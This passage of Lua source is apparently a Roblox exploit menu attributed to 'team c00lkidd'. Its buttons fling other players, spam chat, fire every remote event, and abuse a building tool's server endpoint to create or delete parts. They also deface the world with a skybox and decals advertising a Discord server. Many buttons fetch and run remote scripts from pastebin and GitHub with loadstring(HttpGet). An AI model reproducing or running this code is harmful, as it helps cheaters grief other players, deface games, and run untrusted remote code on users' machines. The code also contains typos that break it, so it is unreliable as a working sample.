end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory =
TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle")
then
Handle = Accessory.Handle
end

if Character and Humanoid and RootPart then


if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool
then
end
if THead then
workspace.CurrentCamera.CameraSubject =
THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject =
Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject =
THumanoid
end
if not
TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end

local FPos = function(BasePart, Pos, Ang)


RootPart.CFrame =
CFrame.new(BasePart.Position) * Pos * Ang

Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)


RootPart.Velocity = Vector3.new(9e7, 9e7
* 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8,
9e8, 9e8)
end

local SFBasePart = function(BasePart)


local TimeToWait = 2
local Time = tick()
local Angle = 0

repeat
if RootPart and THumanoid then
if
BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100

FPos(BasePart,
CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude /
1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude /
1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection *
BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection *
BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0,
0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0,
0))
task.wait()
else
FPos(BasePart,
CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25),
CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25),
CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()

FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500
or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or
not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0
or tick() > Time + TimeToWait
end

workspace.FallenPartsDestroyHeight = 0/0

local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)

if TRootPart and THead then


if (TRootPart.CFrame.p -
THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and
Accessory and Handle then
SFBasePart(Handle)
else
end

BV:Destroy()

Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject =
Humanoid

repeat
RootPart.CFrame = getgenv().OldPos *
CFrame.new(0, .5, 0)

Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))


Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(),
function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity =
Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position -
getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight =
getgenv().FPDH
else
end
end

getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x)
end else return end

if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
end
elseif not GetPlayer(x) and not AllBool then
end
end
end
end)

end)
end
coroutine.wrap(WXHMD_fake_script)()
local function VAVVNKT_fake_script() -- button_14.LocalScript
local script = Instance.new('LocalScript', button_14)

local button = script.Parent

button.MouseButton1Down:connect(function()

end)
end
coroutine.wrap(VAVVNKT_fake_script)()
local function KGMUQA_fake_script() -- button_15.LocalScript
local script = Instance.new('LocalScript', button_15)

local button = script.Parent

button.MouseButton1Down:connect(function()
if
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then

game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()
end
plr = game.Players.LocalPlayer.Name
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = game.Players[plr].Character.Head
y.Adornee = game.Players[plr].Character.Head
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Arial"
f.FontSize = "Size48"
f.Text =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.bgt.Text
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 =
Color3.new(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.r.Text/
255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.g.Text/
255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.b.Text/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end)
end
coroutine.wrap(KGMUQA_fake_script)()
local function VSJOVQF_fake_script() -- button_16.LocalScript
local script = Instance.new('LocalScript', button_16)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Name =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sus.Text
end)
end
coroutine.wrap(VSJOVQF_fake_script)()
local function AWLKGQB_fake_script() -- button_17.LocalScript
local script = Instance.new('LocalScript', button_17)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
end)
end
coroutine.wrap(AWLKGQB_fake_script)()
local function KDBGDV_fake_script() -- button_18.LocalScript
local script = Instance.new('LocalScript', button_18)

local button = script.Parent

button.MouseButton1Down:connect(function()
local name = game.Players.LocalPlayer.Name

local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.BrickColor = BrickColor.new("White")
p.BrickColor = BrickColor.new(104)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame =
CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x,
game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4,
game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(KDBGDV_fake_script)()
local function EBZROFQ_fake_script() -- button_19.LocalScript
local script = Instance.new('LocalScript', button_19)
local button = script.Parent

button.MouseButton1Down:connect(function()
local platform = Instance.new("Part")
platform.Size = Vector3.new(16, 1, 16)
platform.Transparency = 0.5
platform.Color = Color3.fromRGB(255, 0, 255)
platform.Anchored = true
platform.Parent = workspace
local player_position =
game.Players.LocalPlayer.Character.Head.Position
platform.Position = Vector3.new(player_position.X, player_position.Y-5,
player_position.Z)
end)
end
coroutine.wrap(EBZROFQ_fake_script)()
local function GECWI_fake_script() -- button_20.LocalScript
local script = Instance.new('LocalScript', button_20)

local button = script.Parent

button.MouseButton1Down:connect(function()
while true do

local args = {
[1] =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.st.Text,
[2] = "All"
}

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(unpack(args))

wait(1.5)

end
end)
end
coroutine.wrap(GECWI_fake_script)()
local function YPYE_fake_script() -- button_21.LocalScript
local script = Instance.new('LocalScript', button_21)

local button = script.Parent

button.MouseButton1Down:connect(function()
local Chicken = game.Players.LocalPlayer.Name
game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5,
0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) *
CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) *
CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5,
0)
game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5,
0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) *
CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) *
CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5,
0)
end)
end
coroutine.wrap(YPYE_fake_script)()
local function PXYT_fake_script() -- button_22.LocalScript
local script = Instance.new('LocalScript', button_22)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Workspace.Gravity =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sg.Text
end)
end
coroutine.wrap(PXYT_fake_script)()
local function NZXZI_fake_script() -- button_23.LocalScript
local script = Instance.new('LocalScript', button_23)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.JumpPower =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
end)
end
coroutine.wrap(NZXZI_fake_script)()
local function GNAVNL_fake_script() -- button_24.LocalScript
local script = Instance.new('LocalScript', button_24)

local button = script.Parent

button.MouseButton1Down:connect(function()
for X = 1, math.huge, 0.2 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 =
CFrame.new(math.sin(X) / 1,1.5,0)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 =
CFrame.new(0,0,0)
end
for X = 1, math.huge, 0.1 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 =
CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 =
CFrame.new(0,0,0)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end)
end
coroutine.wrap(GNAVNL_fake_script)()
local function QILPEVY_fake_script() -- button_25.LocalScript
local script = Instance.new('LocalScript', button_25)

local button = script.Parent


button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
end)
end
coroutine.wrap(QILPEVY_fake_script)()
local function ORTLQH_fake_script() -- button_26.LocalScript
local script = Instance.new('LocalScript', button_26)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://16442596192")[1].Source)()
end)
end
coroutine.wrap(ORTLQH_fake_script)()
local function UYGWJL_fake_script() -- button_27.LocalScript
local script = Instance.new('LocalScript', button_27)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
8fc8c93e4c272559cc5629a1ee56a262/raw/0fe33a2585ec108eecf0c5f37a64626adb65a94c/
Project%2520Soviet"))()
end)
end
coroutine.wrap(UYGWJL_fake_script)()
local function JOMSSFB_fake_script() -- button_28.LocalScript
local script = Instance.new('LocalScript', button_28)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/
Harkedv2-script/main/Leaked-v2hardked"))()
end)
end
coroutine.wrap(JOMSSFB_fake_script)()
local function SWJK_fake_script() -- button_29.LocalScript
local script = Instance.new('LocalScript', button_29)

local button = script.Parent

button.MouseButton1Down:connect(function()
local remoteamount = 0

for i,v in pairs(game:GetDescendants()) do


if v:IsA("RemoteEvent") then
remoteamount = remoteamount + 1
v:FireServer()
if v:IsA("BindableEvent") then
remoteamount = remoteamount + 1
v:Fire()
if v:IsA("RemoteFunction") then
remoteamount = remoteamount + 1
v:InvokeServer()
end
end
end
end
end)
end
coroutine.wrap(SWJK_fake_script)()
local function KOGOB_fake_script() -- button_30.LocalScript
local script = Instance.new('LocalScript', button_30)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/Comet"))();
end)
end
coroutine.wrap(KOGOB_fake_script)()
local function WMSMR_fake_script() -- button_31.LocalScript
local script = Instance.new('LocalScript', button_31)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/
raw/master/SimpleSpy.lua"))()
end)
end
coroutine.wrap(WMSMR_fake_script)()
local function HRJMKB_fake_script() -- button_32.LocalScript
local script = Instance.new('LocalScript', button_32)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastefy.app/edMe7Bwx/raw'))()
end)
end
coroutine.wrap(HRJMKB_fake_script)()
local function TEIB_fake_script() -- button_33.LocalScript
local script = Instance.new('LocalScript', button_33)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
end)

end
coroutine.wrap(TEIB_fake_script)()
local function UFBQWJB_fake_script() -- button_34.LocalScript
local script = Instance.new('LocalScript', button_34)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
end)
end
coroutine.wrap(UFBQWJB_fake_script)()
local function MHMTS_fake_script() -- button_35.LocalScript
local script = Instance.new('LocalScript', button_35)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/punch",true))()
end)
end
coroutine.wrap(MHMTS_fake_script)()
local function WMZOEHI_fake_script() -- button_36.LocalScript
local script = Instance.new('LocalScript', button_36)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
end)
end
coroutine.wrap(WMZOEHI_fake_script)()
local function DPJY_fake_script() -- button_37.LocalScript
local script = Instance.new('LocalScript', button_37)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
end)
end
coroutine.wrap(DPJY_fake_script)()
local function TVIACA_fake_script() -- button_38.LocalScript
local script = Instance.new('LocalScript', button_38)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
end)
end
coroutine.wrap(TVIACA_fake_script)()
local function KNPJVCM_fake_script() -- button_39.LocalScript
local script = Instance.new('LocalScript', button_39)

local button = script.Parent


local gui = game.Players.LocalPlayer.PlayerGui.CoolGui

button.MouseButton1Down:connect(function()
gui:Destroy()
end)
end
coroutine.wrap(KNPJVCM_fake_script)()
local function XVWGNC_fake_script() -- button_40.LocalScript
local script = Instance.new('LocalScript', button_40)
local button = script.Parent

button.MouseButton1Down:connect(function()
-- thanks to moon for this dex / best dex out there
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/
backup/main/dex.lua"))()
end)
end
coroutine.wrap(XVWGNC_fake_script)()
local function MGFUJR_fake_script() -- button_41.LocalScript
local script = Instance.new('LocalScript', button_41)

local button = script.Parent

button.MouseButton1Down:connect(function()
local plr=game.Players.LocalPlayer
local tool=Instance.new("Tool",plr.Backpack)
tool.GripPos=Vector3.new(0.1,-1,0)
tool.Name="Sword"
local k=Instance.new("Part",tool)
k.Name="Handle"
k.Size=Vector3.new(0.4,4,0.4)
local l=Instance.new("Animation",tool)
l.AnimationId="rbxassetid://218504594"
local m=plr.Character.Humanoid:LoadAnimation(l)
db=true
da=false
tool.Equipped:connect(function()
tool.Activated:connect(function()
if db==true then
db=false
m:Play()
wait()
da=true
db=true
wait(0.5)
da=false
end
end)
end)
k.Touched:connect(function(n)
if da==true then
local o=n.Parent.Humanoid
if o~=nil then
local p=game.Players:FindFirstChild(n.Parent.Name)
for j=1,10 do
if p.Name~="FunnyVideo15"then
if
game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name =
"juisdfj0i32i0eidsuf0iok"
detection.Parent =
game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel =
nil, nil, nil, 0.1
while true do

game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp =
game.Players.LocalPlayer
while hiddenfling
and not (c and c.Parent and hrp and hrp.Parent) do

game:GetService("RunService").Heartbeat:Wait()
c =
lp.Character
hrp =
c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or
c:FindFirstChild("UpperTorso")
end
if hiddenfling
then
vel =
hrp.Velocity
hrp.Velocity
= vel * 10000 + Vector3.new(0, 10000, 0)

game:GetService("RunService").RenderStepped:Wait()
if c and
c.Parent and hrp and hrp.Parent then

hrp.Velocity = vel
end

game:GetService("RunService").Stepped:Wait()
if c and
c.Parent and hrp and hrp.Parent then

hrp.Velocity = vel + Vector3.new(0, movel, 0)


movel
= movel * -1
end
end
end
end
end

fling()
end
end
end
end
end
end)
end)
end
coroutine.wrap(MGFUJR_fake_script)()
local function VLDBBW_fake_script() -- button_42.LocalScript
local script = Instance.new('LocalScript', button_42)

local button = script.Parent


button.MouseButton1Down:connect(function()
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "Discord", -- Required
Text = "discord.gg/KkhpkGJdCp",
})
end)
end
coroutine.wrap(VLDBBW_fake_script)()
local function OJGT_fake_script() -- button_43.LocalScript
local script = Instance.new('LocalScript', button_43)

local button = script.Parent


local input =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sid.Text

button.MouseButton1Down:connect(function()
local music = Instance.new("Sound")
music.Name "Music"
music.Parent = game.Workspace
music.Volume = 10
music.SoundId = input
music.Looped = true
music:Play()
end)
end
coroutine.wrap(OJGT_fake_script)()
local function WKPRGIV_fake_script() -- button_44.LocalScript
local script = Instance.new('LocalScript', button_44)

local button = script.Parent

button.MouseButton1Down:connect(function()
basics =
{Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/25
5,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),C
olor3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,2
04/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Co
lor3.new(255/255,255/255,255/255)}
game.Lighting.FogStart = 25
game.Lighting.FogEnd = 300
while true do
wait(0.5)
game.Lighting.FogColor = basics[math.random(1,#basics)]
end
end)
end
coroutine.wrap(WKPRGIV_fake_script)()
local function UTRYB_fake_script() -- button_45.LocalScript
local script = Instance.new('LocalScript', button_45)

local button = script.Parent

button.MouseButton1Down:connect(function()
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 15475953475
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12

decalID = 14569362147
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~=
"http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?
id="..decalID
Two.Texture = "http://www.roblox.com/asset/?
id="..decalID
Three.Texture = "http://www.roblox.com/asset/?
id="..decalID
Four.Texture = "http://www.roblox.com/asset/?
id="..decalID
Five.Texture = "http://www.roblox.com/asset/?
id="..decalID
Six.Texture = "http://www.roblox.com/asset/?
id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)

local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=14569362147"
pe.VelocitySpread = 50
se = Instance.new("ParticleEmitter",v.Character.Torso)
se.Texture = "http://www.roblox.com/asset/?id=14569362147"
se.VelocitySpread = 50
fe = Instance.new("ParticleEmitter",v.Character.Torso)
fe.Texture = "http://www.roblox.com/asset/?id=14569362147"
fe.VelocitySpread = 50
end

for i,v in pairs(game.Workspace:GetChildren()) do


if v.className == "Sound" then
v:Stop()
v:Remove()
end
end
s = Instance.new("Sound",Workspace)
s.SoundId = "rbxassetid://1839247124"
s.Volume = 10
s.Looped = true
s.Pitch = 0.5
s:Play()
wait(.1)
s:Play()

local h = Instance.new("Hint", workspace)


h.Text = "join team c00lkidd! discord.gg/KkhpkGJdCp"

end)
end
coroutine.wrap(UTRYB_fake_script)()
local function AGPKAV_fake_script() -- button_46.LocalScript
local script = Instance.new('LocalScript', button_46)

local button = script.Parent

button.MouseButton1Down:connect(function()
local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=8979672"
pe.VelocitySpread = 50
se = Instance.new("ParticleEmitter",v.Character.Torso)
se.Texture = "http://www.roblox.com/asset/?id=176067516"
se.VelocitySpread = 50
fe = Instance.new("ParticleEmitter",v.Character.Torso)
fe.Texture = "http://www.roblox.com/asset/?id=179012130"
fe.VelocitySpread = 50
end
end)
end
coroutine.wrap(AGPKAV_fake_script)()
local function VBWFAA_fake_script() -- button_47.LocalScript
local script = Instance.new('LocalScript', button_47)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}

_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end

function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g))
+ Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end

Sky(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)

end)
end
coroutine.wrap(VBWFAA_fake_script)()
local function RXFTK_fake_script() -- button_48.LocalScript
local script = Instance.new('LocalScript', button_48)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
